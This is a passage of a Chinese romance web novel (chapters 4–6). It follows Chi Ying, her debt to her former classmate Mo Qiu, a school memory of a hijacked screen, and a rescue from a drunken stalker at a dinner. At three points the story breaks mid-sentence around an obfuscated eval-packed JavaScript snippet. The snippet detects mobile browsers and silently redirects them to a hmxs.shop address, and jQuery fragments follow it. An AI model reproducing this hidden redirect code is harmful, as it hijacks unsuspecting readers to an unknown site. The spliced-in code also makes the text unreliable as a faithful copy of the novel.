随后迟影就看到,莫秋动作利落地掏出手机,指纹解锁。整个过程行云流水,就像排练过无数次一样。
?
他都不客气一下吗???
她太阳穴突突跳了两下。之前没觉得,现在好像感受到了轻微脑震荡。
迟影还在发呆,莫秋的二维码已经递过来。
……刚才说话慢悠悠的,收钱倒是干脆。
迟影只好硬着头皮扫码。
“叮”的一声,弹出好友申请页面。
嗯?
迟影抬头:“你是不是给错码了?这是名片码,不是收款码。”
莫秋挑眉看她:“你要一次转完?”
哦对,她说了剩下的之后给。对方是怕她不结尾款吧。
她认命地发送了好友请求。几乎同时,微信上出现一个渐变晕染的头像,看起来像是一张图片被极度高斯模糊后的效果:“我通过了你的朋友验证请求,现在我们可以开始聊天了”。
……真快啊。
迟影还没来得及询问后续怎么处理,教室门口突然传来一道中气十足的声音,带着浓重的怨气。
“莫哥!找你半天了。电话也不接,微信也不回。怎么跑这来了?”
迟影转身看去,只见一个身材高大的男生出现在门口。高挺的鼻梁上架着金丝眼镜,随着动作微微晃着。
相当眼熟。
“不是哥们,你不是说去上个厕所吗?怎么上着上着人不见了?”
见莫秋没回话,男生顺着他的目光转头看到一旁的女生,有一瞬间的怔愣,眉头微蹙,眼睛飞眨几下。
“迟影?!”
迟影脑子里快速过着为数不多的名单,试探地问:“顾一书?”
“哎!”男生闻言眼睛一亮,扬起嘴角,笑得肆意张扬,“是我!你竟然记得我!”
迟影松口气,也礼貌地笑笑:“当然。”
顾一书是她高中的前后桌。那时两人常为了最后一道大题争得面红耳赤,不过偶尔也能和谐相处,凑在一起聊聊八卦。
但……也不是那么熟。
尤其是在她刚刚得知负债三十万的噩耗时。
迟影立刻抓起包包,借机告辞:“那不打扰二位了。我还要赶地铁,先走一步。”
“哎,迟影你……”
顾一书还没出声,女生已经迅速转身,佯装镇定地奔离现场。她包上的卡通挂件随着晃动被甩起又落下,衬得背影莫名有些慌乱。
顾一书愣了一会儿,直到那抹背影消失在拐角,才后知后觉地转头看向莫秋:“你怎么跑实验楼来了?也没跟我说一声。”
莫秋漫不经心地收回手机,看着女生离开的方向,眉眼舒展开来,嘴角极浅地勾了下。
“来等人。”
4. 攒够再说
迟影瘫在地铁上,面如死灰。谁能想到她只是回学校看了下老师,负债30万。
虽然她工资不算低,但每个月扣去五险一金、房租、水电费和生活费,能攒下的钱也不多。
就在几天前,她又把今年一年的房租都付了,手上的存款加在一起可能也不到20万……
打了两年工,一夜回到解放前!
她绝望地长叹口气,失魂落魄般靠在窗上,无意间瞟到窗外信贷App的广告牌。
哎?
她猛地想起,刚才本来是要给莫秋转钱的,变成加好友之后这事耽搁了。现在是不是应该主动转过去?
目前来看,莫秋似乎是不好意思开口要钱的那种人,别让人家觉得自己是真的想赖账。
迟影看了眼现钱的余额,大约三万。除去下个月的口粮和应急开支,她横下心,把剩下的两万五一股脑全转了过去,毕竟修车也挺耽误人家正常生活的,剩下的等理财到期再说吧。
至于称呼……她决定还是按高中时大家的习惯来。
“莫神,手头现钱暂时只有这些,剩下的我会分批给你。”
点击完发送,迟影顺手打开备注栏,给他换了个名字——“债主”。
屏幕那头的高冷债主迟迟没回消息。
迟影看着那个模糊得堪比抽象艺术的头像,突发奇想地点进他朋友圈。
她本以为像莫秋这种高岭之草可能直接关闭了朋友圈,或者是清一色的学术前沿资讯,然而事实证明她只猜对了一半。
屏幕中央确实显示着“朋友仅展示最近三天的朋友圈”,但上方却意外地挂着一张置顶照片。
校园操场上,莫秋穿着再普通不过的蓝白校服,正背对着镜头往前走。他似乎听到什么侧身向后看,清冷的目光恰好掠过镜头,被拍照之人眼疾手快地捕捉下来。
男生优越的五官清晰立体,冷白的肤色在阳光下格外瞩目。微风掀起的校服衣角下,拉链反射出细碎跳跃的光痕,带着独属于少年的自然和鲜活。
“真是意气风发的十七岁啊。”
迟影不由得感慨了句,正准备退出界面时,视线忽然一滞。
虽然照片背景被虚化处理过,但依然能隐约辨认出,不远处几个男人正背着相机,还扛着摄影专用的反光板往前走。
迟影心跳慢了半拍。
这个场景……不正是当年拍摄宣传片的场景吗?
她屏住呼吸,将操场边那片五颜六色的看台区拉大,果然看到一个极其模糊的身影。
一个扎着高马尾的女生,正静静坐在那里,向这边望过来。
虽然看不清五官,甚至身形都已失真成像素点,但迟影一眼就能断定,那是她自己。
当年拍摄宣传片时,作为“女主”却被莫秋亲手换掉的,她自己。
几乎同时,屏幕上方突然弹出新消息:“转账退款到账通知。”
债主:“攒够再说。”
“……”
迟影瞪着弹出来的消息提醒无语凝噎。
他这是……嫌少?
她本就因为当年宣传片的事沉闷不已,看到这句话更是气不打一处来,指尖重重地在屏幕上一划,只想赶紧退出界面。
猝不及防,一个红心跃然屏上。
?
嗯?
她点了个赞???
迟影顿觉头皮发麻,立刻屏住呼吸,精准地戳了下左下角。
红心一闪,又恢复成灰秃秃的空心。
她这才长出一口气,“咔嚓”一声锁上屏,把手机甩回包里。
算了。
他和她本就是两个世界的人,当年的事也过去这么久,没必要再纠结。
赶紧攒攒钱,早还清早解脱。
出院当天上午,迟影先去了趟左江市公安局,配合警方调查并完善笔录。
接待她的民警正是在天台押解王林的那位。虽然对方无法透露具体案情和办案进展,但承诺会依法严处尚实青。
走完程序,民警将她送到门口,嘱咐道:“回去后注意休息,有其他线索欢迎随时联系。”
“好,这次麻烦你们了。”迟影微笑着点头,转头走出几步,忽然又想起什么。
“对了,警官。”她转过身向民警道,“我入院时处于昏迷状态,也不知道是哪位同志送的蛋糕。蛋糕很好吃,麻烦您帮我给他带句谢谢。”
民警听到这话愣了下:“蛋糕?”
“对。”迟影掏出手机,找到当时随手拍的照片,“上面裱的桂花,还插了个生日快乐的标签。”
“啊……”民警看着照片微微蹙眉,思考了会儿才接话,“好的我去问问,会帮您传达的。”
“麻烦您了。”
从警局离开后,迟影马不停蹄地回了北宁市,还没来得及在家喘口气,就接到老板电话催新项目报价,于是又一头扎进没日没夜的工作状态。
立兴的事情上了新闻,甚至还有围观群众把拍到的视频发在网上,引起一阵热议。不少同事前来慰问她,但多是抱着一种听八卦、看热闹的心态。
只有亲身经历过的迟影知道,这件事情之后,工作在她心中变得不那么重要。
即使有心理准备,她在跳楼的一瞬间还是感受到了濒死的状态。而那时脑海闪过的事情中,没有一件是与工作相关的。
那句话说得对,工作只是副业,生活才是主业。
……
但这不是负债30万的人该有的心态!
想到这里,迟影有些疑惑。
莫秋就这么消失了?
距离立兴的事情已经过去两个多月,莫秋没再联系过她。虽然之前说攒够了再说,但正常人至少会立个字据吧?
他反倒像个帮忙刷任务而闪现的NPC。
不过从迟影的角度,不找她自然是好的。
最好永远都别找。
她收回天马行空的思绪,揉揉太阳穴,正准备继续耕耘法律意见书,手机屏幕忽然亮了下。
邓月菲的消息跳出:“小影宝!我需要你!”
“……”看到这肉麻的称呼,迟影眯了下眼,“一定没好事。”
果然。
“求求你帮我搬家!”
邓月菲在六月底顺利博士毕业,学校给了他们一个月的宽限期,让他们在七月底之前搬离学校。
偏偏邓月菲这段时间忙着毕业旅行,等回过神来,发现宿管阿姨已经下发最后通牒。
迟影也没回复,就那么拖着腮,没几秒就等到对面发来的新消息:“明天周六,我们组毕业聚餐,吃完饭估计6点多,咱们7点宿舍见!”
迟影:“姐,没见过大晚上搬家的。”
邓月菲:“Mua~”
迟影:“……”
她时常感叹,为什么语言起不到沟通的作用。
难得的休息日,迟影睡到中午才睁眼,扒拉几下手机,看到邓月菲两小时前发的消息:“今天晚上7点!别忘了!”
迟影:“。”
随便吃了袋饺子,她迫不及待地拿出游戏机Switch,打开许久没玩的奥德赛。
在把游戏机连上电视屏幕的一霎那,迟影突然想起,当年坐在教室后排打游戏的莫秋。
她当年之所以会发现601,是因为某次考试失利。
那次监考老师临时有事,同学们像解放了一般乱成一团,互相讨论试卷题目,更有甚者掏出藏着的手机现场搜题。
迟影未作理会,安安静静地做试卷。结果那次,她考了班级倒数第十。
数学老师并没有找她谈话。但宣读成绩时的那声停顿,以及老师严厉的抬眼,仍在她的心上落了锁。
拿到成绩的那天下午,迟影跟体育老师请了假。她知道自己没有做错,但结果就是这么不讲道理。
她想哭。
她强忍眼泪穿过连桥跑到实验楼。
之前做实验的时候观察过,五楼的教室都上锁,所以她索性直接上到六楼碰碰运气。
运气很好,601的门开着。
关上门,迟影忍不住趴在桌上嚎啕大哭。
青春真的很任性。它让你拥有面对未来时最无所畏惧的勇气,又让你困囿于当下那些本就微不足道的小事。
犹豫再三,她拨通妈妈的电话,向她道歉。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059553|194996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“为什么道歉?”妈妈听完她的讲述,轻声问。
“马上要开家长会了。”迟影哽咽,“我不想你丢人。”
妈妈听完笑了许久,才柔声道:“既然是靠真本事拿到的倒数第十,这个家长会,妈妈得风风光光参加。”
果然,不到一星期,班级召开家长会。
每次家长会之前,老师都会把近期学生考试的成绩投放到2班与1班正对的外墙大屏幕上。
这是家长们最热闹的时候。大家聚在一起,对着屏幕边看边讨论:“哎呀你家孩子的成绩上升了”、“你家孩子又是第一啊”、“你家也不错啦”、“哎这次XXX怎么掉的这么多,看来还是不够稳定啊”……
学生们都会四散逃走。
不少人回家免不了一顿骂,听着爸妈不厌其烦地夸着“别人家的孩子”。
虽然迟影的成绩通常名列前茅,但她很讨厌这种“公开处刑”的感觉。
孩子的自尊也是自尊,不是随便什么东西都可以凌驾在其之上的。
那次的家长会也不例外,老师们早早地整理好近期几次考试的成绩和排名,投在大屏幕上。
虽然已经提前给妈妈说了倒数的事,但迟影还是担心她在那种环境下抬不起头。
于是她把握好时间,随着家长们一起来到教室附近,躲在远处的柱子后偷偷观察。
家长们慢慢聚拢到屏幕前,然而预期中的对话并未出现,取而代之的是一阵骚动。
“哎?这是怎么回事?”
“这放的是什么……游戏吗?”
越来越多的人加入讨论,还有家长冲着人群外边大声喊:“谁去叫一下老师,这屏幕上的东西不对啊。”
迟影听着好奇,也慢慢凑近看。
只见那本该滚动着冰冷排名的大屏幕上,一个头戴红帽的马里奥正欢快地跳跃、躲闪、顶蘑菇、吃金币。
闪转腾挪间,动作行云流水,一气呵成。
迟影不由地感慨,玩的真好啊!
不对,怎么在放马里奥?!
由于家长们讨论声越来越大,原本作鸟兽散的学生们逐渐聚了过来。不少人看得入迷,阵阵欢呼,声浪逐渐盖过家长们的抱怨。
正在这时,不知谁喊了一句:“老师来了,大家让让!”
人群迅速分出一条道路。
老师快步走上前,看到屏幕里不断闪烁的小人,气得眉毛都翘了几分,厉声质问:“谁干的!”
四下寂静,无人应答。
老师无奈,只能尝试上前调试屏幕,然而不论他怎么操作,都无法退出游戏界面。
家长开始不耐烦,低声交头接耳,议论着今天这家长会还能不能开成。
忽然,迟影听到身旁顾一书小声嘀咕:“这游戏手法……怎么这么眼熟?”
他摸摸下巴,不确定地继续看。
数学老师正对着屏幕吹胡子瞪眼,气到极点怒吼了句:“让我逮到是谁,给我写一万字检讨!”
几乎同时,屏幕上出现几个大字:“GameOver!”。
围观的学生们顿时发出爆笑,游戏又重新开始。
顾一书瞬间回过神来,恍然大悟地拍了下迟影:“我知道了!”
他拽了拽她袖子,示意她跟上,随后飞跑几步,推开1班教室的后门。
世界瞬间安静下来。
窗边的光影里,一个男生正低着头,指尖随意地在游戏机上操作着。听见开门声,他掀起眼皮,漫不经心地往这边撩了一眼。
那瞬间,四目相对。
他长得极好,鼻梁英挺,俊眼锋眉,慵懒的目光扫过来,还带了丝不易察觉的痞气。
不到半秒,他敛下眼帘,继续看向手中的屏幕,仿佛刚才的对视只是一场错觉。
“我就知道是你!”顾一书飞奔过去,兴奋地推他一把,“托你的福,今天这成绩是看不成了!”
迟影下意识转头,望向大屏幕。
果然,马里奥因为闪避不及时,闪烁了两下,彻底丢了命。
当时的迟影还不认识那个男生。但不久的后来,她在办公室认识了,那个抢她资料的,莫秋。
5. 你喜欢看别人谈恋爱?
屏幕上弹出游戏主页面,把迟影的思绪拉回。
她回过神来,甩了甩头。
怎么打个游戏都能想到莫秋?30万的负债果然不是开玩笑的!
一想到这,她瞬间没了玩心,索性关了电视,坐回办公桌准备加会班。
刚打开电脑,微信聊天框里跳出消息,上面的内容让迟影一顿。
程医生:“迟女士,最近焦虑症还发作过吗?有没有其他不适症状?”
想到在天台被挟持时胸闷恶心到差点眩晕的症状,迟影一时不知该怎么回答。
她起身泡了杯老白茶,抱着膝盖窝进座椅里,静静看那条消息,拇指和食指反复揉搓,直至指尖发红。
对面没等到她的回复,又追了条消息过来:“如果有症状你一定要及时告诉我,及时干预才能事半功倍。另外我最近休假结束,下次问诊时间可以约起来了~”
直到电脑屏幕自动熄灭,迟影才有了动静。她慢吞吞喝了口茶,翻翻桌上的日历,敲字回复:“最近还好。下周四你方便吗?”
对面秒回:“可以,给你约上了。”
迟影没再多想,起身用凉水洗了遍脸,昏天黑地一直忙到傍晚,打车出发A大。
晚上7点整,她来到邓月菲宿舍楼下。
“我到了。”
微信发出。10分钟,没人回复。
迟影皱了下眉。
邓月菲这个人虽然大大咧咧,但在守约这一点上却有一套自己的原则。只要是约定好了的事,一定会按时到。即使临时有事,也会第一时间告诉她。
甚至之前有次迟影迟到了五分钟,邓月菲硬是把她拉回家,给她放了三遍“儿童睡前故事——迟到的小猪”。
所以眼下的情形多少有些奇怪。
可能是聚餐的时候不方便看手机?
迟影看一时半会等不到回复,便走到附近一个长椅坐下。
宿舍楼前成双成对,有男生静静等女生出来的,有男生送女生回去难舍难分的,有一言不合吵起来的,还有亲得难舍难分不知天地为何物的。
迟影看得津津有味,时不时咯咯乐两声。
“你喜欢看别人谈恋爱?”
低磁的声线在头顶上响起,带着些不紧不慢的腔调。
迟影笑容一僵,缓慢转头,视线上挪。
怕什么来什么。
那位失踪了好几个月的魔头正垂着眼,睫毛在眼下印出一弯极淡的阴影,带着几分冷澈。
迟影调整好面部肌群,挂上标准的职业微笑。
“魔……莫神,好久不见。”
见男人没动静,迟影才想起刚才对方问的话。她托着下巴,转头看看那些情侣,认真思考了下答。
“还挺喜欢的。”
“……”
莫秋一顿,喉咙里溢出一声轻笑。
?
怎么着?
单身狗看个热闹也得被嘲讽?
迟影挑挑眉,迎上他视线:“莫神另有高见?”
莫秋倚在长椅上,一双长腿交叠,目光在那群难舍难分的人影上掠过,语调没什么起伏。
“恋爱,自己谈才有意思。”
迟影拖着下巴的小臂猛滑,身子一歪,好悬没从椅子上摔下去。
她眼珠子都快要瞪出来。
这位爷不是向来走高冷路线吗?怎么突然转性,过问起这种世俗之事?
当事人却一脸平静,视线落在她身上,仿佛只是打个招呼般自然。
迟影立刻侧开目光,故作镇定地转移话题:“你怎么在这里?”
莫秋也没追问,长腿一迈,在她身旁坐下,懒洋洋抬了抬手上的车钥匙:“接人。”
嗯?
来女生宿舍门口接人?
难不成是女朋友?
迟影这才恍然大悟,怪不得他刚才说恋爱自己谈才有意思!合着不是理论探讨,而是经验之谈!
啧。
怎么学神谈起恋爱来也是这个德性?
迟影了然地点点头,犹豫了下问:“还是……她吗?”
莫秋闻言挑了挑眉,散漫的眼里闪过一丝不解:“谁……”
“哥!”
莫秋话没说完,就被一道少年感十足的声音打断。
只见一个身穿白色T恤和黑色中长裤,斜挎着书包,脖上挂着头戴式耳机的男生朝二人跑来。
男生有着一双圆润而明亮的眼睛,高挺的鼻梁,笑起来露出洁白整齐的牙齿,帅气又充满活力。
真是清澈的大学生啊!
已经是职场老油条的迟影默默感慨。
男生快步跑近,喘着气拍了拍莫秋的肩膀:“抱歉哥,让你久等了!”
“没事。”莫秋顺手接过他的书包,动作自然,“我刚到。”
“你第一天回来,还没倒时差就来接我,我还晚了二十分钟,真不好意思!”男生胡乱地挠了挠头,“你等很久了吧?”
莫秋:“没事。”
男生:“真的……”
见这两人没完没了地推拉,迟影脑子一抽,下意识地插话:“他真没跟你客气,他确实刚到。”
“……”
话音落地,男生和莫秋几乎同时转头看她,气氛瞬间凝固。
路过的几只乌鸦还扯着他们的干涩的嗓子,幸灾乐祸地“啊”“啊”“啊”了几声。
话一出口迟影就后悔不已。平常跟邓月菲互怼惯了,这下说话都刹不住车!
恰在此时,手机铃声突兀地响起。迟影如获大赦,看了眼来电显示,立刻起身接起。
“喂?菲菲?你在哪儿呢?”
“小影……”电话那端的邓月菲很不对劲,急促的喘气声顺着电话线飘过来,“你能不能赶紧过来,汇杜餐厅302包间。”
迟影心里涌上一股不好的预感:“我这就过去!有危险吗?要报警吗?”
“不用报警,你赶紧过来就行。”邓月菲仍压着嗓子,声音也飘,“我不太方便说话。”
“好,你别慌,我立刻过去。”
挂断电话,迟影正准备点开打车软件,却猛然想起这片宿舍区限行,网约车根本进不来。
她顾不上更多,倏地转头看向莫秋。
“虽然很冒昧,但你现在能开车把我送到汇杜餐厅吗?”她语气急切,“我很着急。”
莫秋没应声,抬腿走到不远处的车前,回头瞥了眼还在发愣的两人:“上车。”
去饭店的路上,迟影把最坏的可能性都想了一遍。
越想,越不安。
车速已经达到市区限速的上限,窗外的夜景飞速闪过,在她眼底划出一道道光痕,各种变换的色彩令人眼晕。
“迟影姐你别担心,咱们很快就到。”开朗大男孩感受到她的情绪,从副驾驶回头看她,“一定没事的。”
“嗯。”迟影勉强压下心底那股焦躁,朝他弯了弯唇,“谢谢。”
她也在不停安慰自己。
听刚才邓月菲的声音,除了呼吸急促之外,其他都还正常。
一定没事的。
不到二十分钟,车子稳稳停在汇杜饭店门口。迟影利落地推门下车,又快速探头回来对驾驶位道:“非常感谢!我找机会请你吃饭!”
没等二人回话,迟影关上门立刻冲进饭店,在服务员的带领下来到302包间。
从门外看不见里面的情况,也听不见任何声音。
迟影打开手机录像键,把手机插在牛仔裤口袋里,摄像头朝外,随后推门进入。
等看清里面的场景,她倒吸一口凉气。
桌上不计其数的酒瓶东
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059554|194996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
倒西歪,有的瓶身跟饭汁混在一起,都已分辨不出本来的颜色。地面上散落着四散分离的玻璃片,混杂在黄色的酒液中,看起来一片狼藉。
玻璃片的周围还掉落着大大小小的彩带和彩片,像是手捧式礼花的残片,原本漂亮的彩片跟酒液混在一起,狼狈得惨不忍睹。
情况不妙。
她迅速抬眼观察屋内布局。
包间靠里的地方是洗手间,现在洗手间大门紧闭,门口站着一个男生。
男生身影颓废,涨红的脸上满是醉意。他目光浑浊,正眯着眼睛,有些疑惑地看向迟影。
迟影努力让自己镇定下来。
“邓月菲在哪里?”
男生闻言终于有了些反应,拖着长音问:“你是谁?”
“邓月菲在哪里?”迟影神色冷厉,拔高声音。
男生明显有些不满,晃晃悠悠朝着迟影走来,边走边问:“你是谁?关你什么事?”
迟影二话不说,抄起桌上离自己最近的一瓶酒,朝着男生前面的地板狠狠砸过去。
“砰!”的一声,瓶子被直直摔在他脚前,暗红色的酒液炸裂开来。
男生被这突如其来的动静吓到,条件反射似的停下脚步。
迟影攥紧手指,继续用平静的声音一字一句质问:“我问你,邓月菲在哪里!”
二人隔着两米的距离无声地对视了几秒钟,迟影不打算继续耗下去,飞快掏出手机准备报警。
“小影,是你吗?”洗手间传来细微的声音。
迟影一愣,顺手抓起旁边一个未开封的酒瓶,跑到洗手间门口敲门。
“菲菲,是我!我来了。”
一阵窸窸窣窣的动静后,洗手间的门被拉开,邓月菲探出头来。她脸色薄红,前额几缕头发湿漉漉地贴在脸上,迷离的眼睛中倒映出迟影的身影。
迟影紧皱眉头,立刻低头检查邓月菲身上是否有外伤。
“没事的小影,我没事。”
邓月菲知道她在担心什么,借着门框扶上她肩膀,安抚似的拍了拍。
迟影确认一切正常,才终于松了口气,搀着她从洗手间慢慢走出。
等看到屋里那个沉默的男生,邓月菲一直压抑着的怒火又腾地窜上来,连脸都涨红几分。
“李其开,我已经明确地告诉你了,我不喜欢你!”
“你这样纠缠只会让我觉得你是个不知好歹的变态!”
她愤怒地冲着男生吼,结果因为一口气没上来哽在嗓间,弯着腰疯狂咳嗽,甚至因为脱力扶着墙滑倒在地上。
迟影连忙拿手边的一次性杯子倒了杯水递给她,蹲在地上帮她顺气。
迟影一心扑在邓月菲身上,没注意到身后的李其开因为被骂和酒精上头,已经彻底失了智,正拎着一个玻璃瓶,摇摇晃晃向她身后走来。
等她察觉到后脑勺斜上方一股阴森的凉风袭过时,却只来得及回头,心中大叫不好!
逃不掉了!
她避无可避,只能下意识抬起小臂,挡在额头上。
……没有预期中的疼痛。
迟影屏住呼吸,缓慢睁开眼。只见莫秋不知何时出现在李其开身后,他面无表情,修长的手指精准扣住了那只正欲砸下的玻璃瓶底。
随后轻描淡写地借力向内一旋。
李其开根本来不及反应,手掌死死握住瓶身,整条小臂却随着那股劲儿被瞬间拧成麻花。他重心猛地失衡,踉跄着向前栽倒。
“扑通”一声闷响。
他整个人结结实实地跪在迟影面前。两人视线平齐,距离近得能看见对方眼底的惊骇。
满地玻璃渣硬生生扎进膝盖的皮肉里,剧烈的疼痛让他的脸涨成紫红色,嘴张着,却发不出声音。
“道歉。”
莫秋居高临下,冷声道。
6. 暗恋还是窥视
迟影愣愣看着眼前狼狈的男生,半晌没反应过来。
怎么一眨眼的功夫就跪这了?
李其开显然也懵了神,但膝盖上传来的尖锐疼痛让他无暇顾及其他。他抱紧膝盖,疼得倒吸凉气,蜷缩成一团向侧方倒去。
“……操!”缓了许久,李其开才吼出声,“哪个傻逼犯贱!”
莫秋扫了眼地上像蛀虫一样的男生,将手上的酒瓶放回桌面,又从备菜桌上拿了两个干净的白毛巾,弯腰递给迟影。
迟影懵登地接过,才反应过来帮邓月菲擦了擦脸和身上的污渍。
“哥,车停好了,找个停车位真不容易……”几个人正沉默着,门忽然被推开,来人正是刚才的开朗大男孩。他还没说完,就被眼前混乱不堪的景象惊得脚步一顿。
“什么情况?”男生瞪着眼问。
“先带她们出去。”莫秋说。
男生愣了下,也没多问,径直朝两个女生走过来,帮迟影一起搀扶起浑身无力的邓月菲。
邓月菲被二人歪歪扭扭地架着,视线狠狠瞪着一言不发的男生,突然向前猛冲,紧接着一个飞踢!
好在迟影反应快,几乎同时预判了她的动作,扣着她双肩往回拽。
迟影倒不是怕她伤害李其开,而是目前邓月菲的状态连站都站不稳,动作幅太大容易原地劈叉,摔玻璃渣里。
“看在你是我师弟的份上,这次我不追究,但下不为例!你再敢纠缠,就别怪我直接报警!”邓月菲指着他鼻子厉声警告。
李其开狼狈地缩在地上,没回应。
邓月菲被二人扶着走出包间,在不远处的等位沙发上坐下。
“刚才那个是莫秋吧,我在警局见过,当时事情紧急没说上话。”她用胳膊捅了捅迟影,又抬抬下巴,问一旁的男生,“那这位是?”
迟影下意识答:“啊,他是……”
嗯?
话到嘴边才反应过来,这个人,好像她也不认识?
开朗大男孩见状,立刻自我介绍:“我叫莫生,是莫秋哥的堂弟,在A大计算机系读博二。”
这么说来,邓月菲那栋女生宿舍对面似乎是男生宿舍,所以当时莫秋是在等男生宿舍的莫生。
不过……为什么兄弟两人的性格完全不一样啊?
弟弟这性格,看着就讨长辈喜欢。
邓月菲了然地点点头:“我的事情麻烦你们了,谢谢,之后一定请你和你哥吃饭。”
“学姐别客气,我们也担心你出事。”莫生开朗一笑,露出一颗小虎牙,“你们先坐一会,我去找服务员拿些蜂蜜水。”
迟影知道邓月菲需要一些时间平复心情,于是没有说话,静静地陪着。莫生很快送来蜂蜜水和解酒药,看着她缓缓喝完。
包间里的两人一直没出来,隐约传出说话的声音,但声音很小,迟影也没有心情细听。
过了许久,李其开才从房间里一瘸一拐地走出。邓月菲看到他浑身一僵,那股怒火又着起来。
李其开垂着头走过来,低低道了句:“对不起。”
邓月菲:“?”
然而男生没再多说,只拖着狼狈的身躯,慢慢消失在餐厅门口。
几杯蜂蜜水下肚,邓月菲逐渐开始清醒。
“本来今天,我们毕业聚餐。”邓月菲小声嘀咕,“除了要毕业的同学外,组里其他学弟学妹也来了,说是一起庆祝。”
“我也没想太多,所以他们劝酒我也就喝了。”
“快吃完的时候,我去上了个厕所。结果出来时就看到李其开站在前面,组里其他人手里拿着手捧礼花。”邓月菲眼中雾蒙蒙的,细细碎碎的声音中夹了些委屈。
“他告白了,说从第一次见我就喜欢我,已经四年了。”
“大家都很开心,有笑有闹,拍着手让我们在一起。”
邓月菲有些哽咽。
“但没有人在意我这个当事人的想法,我也不知道该怎么办,所以让其他人都出去了。可我万万没有想到,我拒绝他后,他疯了!”
空气中弥漫着浓重的酒气,仿佛在诉说着刚才疯狂的场景。
“他把酒砸了,大声问我,为什么不喜欢他。为什么他付出了那么多,我就是不喜欢他!”
邓月菲豆大的泪珠一颗颗掉下来,靠在迟影怀里泣不成声:“我其实早就知道!他总是围绕在我周围,想忽视都难!”
话音落地,莫秋修长的身影出现在包间门口,缓步向这边走来。
邓月菲没注意到其他动静,只是越想越崩溃:“我明明暗示过他很多次,但他视若无睹。你知道么,四年,被一个男生时刻盯着有多可怕!就好像你时刻活在他的影子之下!”
迟影看着她通红的眼底,想着自己这么多年竟然不知道这事,内疚得鼻腔酸得发胀,无声点点头。
邓月菲苦笑:“我去实验室他也去,我去吃饭他也要跟着,哪怕我几天没来学校也要追着问我去哪了!”
“四年啊!我的天!他还美其名曰这是暗恋!是长情!”
邓月菲拉起迟影的手,眼底通红:“你能想象一个人,这么多年,无时无刻不在关注你、窥视你、甚至还期望通过这种方式了解你、感动你的那种恐怖吗?”
迟影皱着眉,立刻摇头。
“对啊!”邓月菲泣不成声,“简直就是混蛋!疯子!变态!跟踪狂!”
“我宁愿从来没认识过他!”
她浑身颤抖,迟影心疼不已却又无能为力,只能抱紧她,手顺着她发丝轻轻抚摸。
余光里,莫秋听到她们的对话时脚步猛地一顿,身形僵硬,随后停在原地,没再向这边走。
他手臂垂在两旁,低着头,表情隐藏在厚重的阴影下,让人看不真切。
……
待邓月菲缓过劲来,迟影扶起她慢慢往外走。莫生颇有耐心地跟在跟在两人身后道:“迟影姐,我们送你们回去吧。”
迟影摆摆手:“没事,我们……”
“好啊,那就麻烦学弟了。”一直默不作声的邓月菲突然抬起头来,仰着脸笑了下,还向迟影甩了个醉意十足的wink。
迟影:“……”
她到底是喝了多少?
夜晚昏暗的光线下,四人都沉默无言地看着窗外。车内寂静无声,气氛莫名有些诡异。
最终还是邓月菲没忍住打破僵局:“莫神,上次立兴的事谢谢你帮小影。我当时从警察局走的匆忙,没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059555|194996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来得及向你当面道谢。”
莫秋打了个转向,声音一如既往的平静:“没事。”
“……”邓月菲噎了下,真就一个字都不多说啊?
眼看车内又要陷入无休止的沉默,迟影只好尝试缓解尴尬:“话说回来,你们本来是不是有约?被我们这事耽搁了,一会还来得及继续么?”
“噢!”莫生转过头来,眼睛很亮,声音依旧开朗,“是的,我跟哥本来要去Nonsense酒吧,现在应该来不及了。”
……?!
Nonsense?那个有名的社交酒吧?
莫生倒没觉得有什么奇怪,笑着摆摆手:“没事!反正我们经常去,再跟老板另外约时间就好啦。”
邓月菲听完也一愣,下意识跟迟影对视一眼,俩人心里同时飘过一句话——
嚯!还真是人不可貌相啊!
在一片死寂中,车又平稳地停在女生宿舍门前。
迟影小心翼翼地扶着邓月菲下车。关上车门后,她转身准备向莫秋二人告别,怎料邓月菲突然从窗户探向副驾驶座,笑容灿烂,声音也是难得的温柔:“嘿嘿,莫生学弟~”
???
莫生被吓一哆嗦,瞪着眼睛看窗外笑意盈盈的女生。
这跟刚才那个在餐厅嚎啕大哭的,是一个人吗?
迟影也匪夷所思地瞅着邓月菲。这姐酒还没醒吗?
然而邓月菲完全不觉得自己有什么问题,忽视旁人的目光,仍然温柔地笑道:“俗话说,送佛送到西。”
“虽然很不好意思,但能麻烦你跟你哥哥,再帮个小忙么?”
“……”
半小时后,迟影和邓月菲像犁地的老黄牛一般,呼哧带喘又步履蹒跚地把两个沉重的编织袋拖下楼。
编织袋里裹着一堆生活用品,在楼道里留下一串叮呤咣啷的声音,引得不少人从宿舍里探头观望。
期间路过一个玻璃门,迟影转头瞥了眼,果然看到两个负重前行的拾荒老太。
